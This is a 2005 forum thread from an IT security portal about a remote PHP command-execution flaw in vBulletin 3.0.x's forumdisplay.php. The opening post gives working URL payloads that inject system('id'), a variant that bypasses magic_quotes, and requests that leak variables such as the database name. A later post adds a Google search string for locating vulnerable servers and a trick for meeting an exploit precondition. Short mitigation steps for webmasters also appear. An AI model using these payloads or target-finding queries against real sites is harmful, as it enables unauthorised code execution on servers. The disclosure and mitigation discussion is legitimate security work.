Waraxe IT Security Portal
Login or Register
July 27, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 226
Members: 0
Total: 226
Full disclosure
CyberDanube Security Research 20240722-0 | Multiple Vulnerabilities in Perten/PerkinElmer ProcessPlus
[KIS-2024-06] XenForo <= 2.2.15 (Template System) Remote Code Execution Vulnerability
[KIS-2024-05] XenForo <= 2.2.15 (Widget::actionSave) Cross-Site Request Forgery Vulnerability
CVE-2024-33326
CVE-2024-33327
CVE-2024-33328
CVE-2024-33329
CyberDanube Security Research 20240703-0 | Authenticated Command Injection in Helmholz Industrial Router REX100
SEC Consult SA-20240627-0 :: Local Privilege Escalation via MSI installer in SoftMaker Office / FreeOffice
SEC Consult SA-20240626-0 :: Multiple Vulnerabilities in Siemens Power Automation Products
Novel DoS Vulnerability Affecting WebRTC Media Servers
APPLE-SA-06-25-2024-1 AirPods Firmware Update 6A326, AirPods Firmware Update 6F8, and Beats Firmware Update 6F8
40 vulnerabilities in Toshiba Multi-Function Printers
17 vulnerabilities in Sharp Multi-Function Printers
SEC Consult SA-20240624-0 :: Multiple Vulnerabilities allowing complete bypass in Faronics WINSelect (Standard + Enterprise)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> All other software -> Vbullettin 3.0.x forumdisplay.php PHP command Execution
Post new topicReply to topic View previous topic :: View next topic
Vbullettin 3.0.x forumdisplay.php PHP command Execution
PostPosted: Wed Feb 16, 2005 8:41 am Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




AL3NDALEED Founded that within the following conditions:

Quote:

* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.

* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest

* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.

* 4th condition : magic_quotes_gpc must be OFF SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
init.php by secret array GLOBALS[]=1 Wink))


Is it possible to inject code as in the following example:

http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

Anyway the forth condition can be bypassed like this (nesting formulas - Credit to pokley aka pokleyzz - Not Tested)

http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma={$func($comm)}&func=system&comm=id

Or evaluating the value of variables:

forumdisplay.php?GLOBALS[]=1&f=2&comma=$admincpdir
forumdisplay.php?GLOBALS[]=1&f=2&comma=$dbname

So if you are a web master:

Solutions:
----------------
* Disable showforumusers in vbulletin options .
* add the next line before if ($vboptions['showforumusers'])
$comma = '';


Last edited by Zeelock on Thu Feb 17, 2005 8:44 am; edited 2 times in total

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
j
PostPosted: Wed Feb 16, 2005 10:38 pm Reply with quote
SteX
Advanced user
Advanced user
Joined: May 18, 2004
Posts: 181
Location: Serbia




http://www.milw0rm.com/id.php?id=820

_________________

We would change the world, but God won't give us the sourcecode...
....Watch the master. Follow the master. Be the master....
-------------------------------------------------------
View user's profile Send private message
Yep, is the same
PostPosted: Thu Feb 17, 2005 10:06 am Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




As you can see is just a GET req the one by AL3NDALEEB.

The problem lays in Magic Quotes. These protect the innocent against this exploit.

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
PoC
PostPosted: Thu Feb 17, 2005 11:48 am Reply with quote
pokleyzz
Regular user
Regular user
Joined: Feb 17, 2005
Posts: 6




http://www.securityfocus.com/archive/attachment/390667/2/
View user's profile Send private message
Great Pokleyzz, In tune on Time
PostPosted: Thu Feb 17, 2005 12:57 pm Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




Always in time!


I'll test it this evening in my dummy localhost VBullettin Site

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
PostPosted: Thu Feb 17, 2005 8:28 pm Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




Is very hard find servers they have these functions
in my opinion only 15 % all VB (3.0.x-3.04) installed in all world is vulnerable

Code:
* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.

* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest

* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.
View user's profile Send private message Visit poster's website
PostPosted: Thu Feb 17, 2005 10:53 pm Reply with quote
pokleyzz
Regular user
Regular user
Joined: Feb 17, 2005
Posts: 6




Quote:

* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.

* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest

* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.

searching something like this `inurl:"forumdisplay" +"Currently Active Users" +"vBulletin Version 3.0.3"` in google will help find one.

You can create the third condition by login as registered user and view the forum.
View user's profile Send private message
PostPosted: Fri Feb 18, 2005 9:41 am Reply with quote
Alkaen
Regular user
Regular user
Joined: Feb 16, 2005
Posts: 5
Location: Bahrain - Aldair




Thanx dude
View user's profile Send private message Visit poster's website
Vbullettin 3.0.x forumdisplay.php PHP command Execution
www.waraxe.us Forum Index -> All other software
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.134 Seconds